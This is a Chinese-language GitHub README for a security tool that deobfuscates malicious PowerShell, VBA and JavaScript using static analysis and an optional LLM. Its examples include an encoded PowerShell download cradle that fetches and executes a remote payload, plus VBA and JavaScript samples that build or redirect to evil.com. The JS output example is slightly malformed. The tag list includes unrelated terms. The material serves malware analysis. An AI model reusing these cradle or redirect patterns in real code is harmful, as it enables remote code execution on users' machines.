gnaixnaij/deobfuscator
GitHub: gnaixnaij/deobfuscator
结合静态分析与 LLM 对 PowerShell、VBA 和 JavaScript 恶意脚本进行自动化反混淆,还原其原始逻辑与意图的安全分析工具。
Stars: 0 | Forks: 0
# AI 反混淆工具
使用静态分析和/或 LLM 对 PowerShell、VBA 和 JavaScript 脚本进行反混淆。
检测并还原常见的混淆技术,揭示恶意脚本的原始意图。
## 安装
```
git clone git@github.com:gnaixnaij/deobfuscator.git
cd deobfuscator
pip install -e .
```
## 用法
### 基础(静态分析,无需 API key)
```
# 反混淆 PowerShell 脚本
deobfuscator -f obfuscated.ps1
# 反混淆 VBA 宏
deobfuscator -f macro.bas
# 反混淆 JavaScript
deobfuscator -f payload.js
# 从 stdin 管道输入
cat script.ps1 | deobfuscator --stdin
```
### 基于 LLM 的分析(可选)
```
# 启用 LLM 分析(需要 OPENAI_API_KEY)
deobfuscator -f malware.vba --llm
# 指定 API key 和模型
deobfuscator -f evil.js --llm --api-key sk-... --model gpt-4o
# 使用任何兼容 OpenAI 的 API(本地模型等)
deobfuscator -f obfuscated.ps1 --llm \
--api-key not-needed \
--base-url http://localhost:1234/v1 \
--model local-model
```
### 强制指定语言
```
deobfuscator -f script.ps1 -l powershell
deobfuscator -f script.txt -l vba
deobfuscator -f script.txt -l javascript
```
## 支持的语言与技术
| 语言 | 静态技术 | LLM 增强 |
|----------|-----------------|------------------|
| **PowerShell** | Base64 解码、IEX 提取、变量噪声去除、嵌套调用解包 | 更深度的分析、摘要、更清晰的重构 |
| **VBA** | Chr() 解析、换行续接折叠、字符串拼接、死代码变量剔除 | 混淆技术识别、用途摘要 |
| **JavaScript** | atob/base64、十六进制转义、Unicode 转义、String.fromCharCode()、eval() 解包 | 技术分类、意图分析 |
## 示例
**输入 (PowerShell):**
```
$a = "JABhACAAPQAgACcAaAB0AHQAcABzADoALwAvAGIAbwBvAG4AdABvAHAAcABvAG8AbgAuAGMAbwBtAC8AcABhAHkAbABvAGEAZAAuAHAAcAAnADsAIABpAGUAeAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAYwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACQAYQApAA=="
$decoded = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($a))
iex $decoded
```
**输出:**
```
$ iex (New-Object Net.Webclient).DownloadString($a)
```
揭示了一个从远程 URL 获取并执行 payload 的下载执行器(download cradle)。
**输入 (VBA):**
```
str = Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(115) & _
Chr(58) & Chr(47) & Chr(47) & Chr(101) & Chr(118) & _
Chr(105) & Chr(108) & Chr(46) & Chr(99) & Chr(111) & Chr(109)
```
**输出:**
```
str = "https://evil.com"
```
**输入 (JS):**
```
var encoded = String.fromCharCode(112, 97, 121, 108, 111, 97, 100);
eval(atob("ZG9jdW1lbnQubG9jYXRpb249Imh0dHBzOi8vZXZpbC5jb20vIj8+"));
var _0x5678 = '\x68\x74\x74\x70\x73\x3a\x2f\x2f\x65\x76\x69\x6c\x2e\x63\x6f\x6d';
```
**输出:**
```
var encoded = "payload";
eval(document.location="https://evil.com/"?>);
var _0x5678 = "https://evil.com";
```
## 环境变量
| 变量 | 描述 |
|----------|-------------|
| `OPENAI_API_KEY` | 用于基于 LLM 反混淆的 API key |
## 许可证
MIT
标签:DLL 劫持, DNS 反向解析, Petitpotam, 云资产清单, 人工智能, 反混淆, 大语言模型, 恶意代码分析, 搜索语句(dork), 文档结构分析, 用户模式Hook绕过, 逆向工具, 逆向工程, 配置文件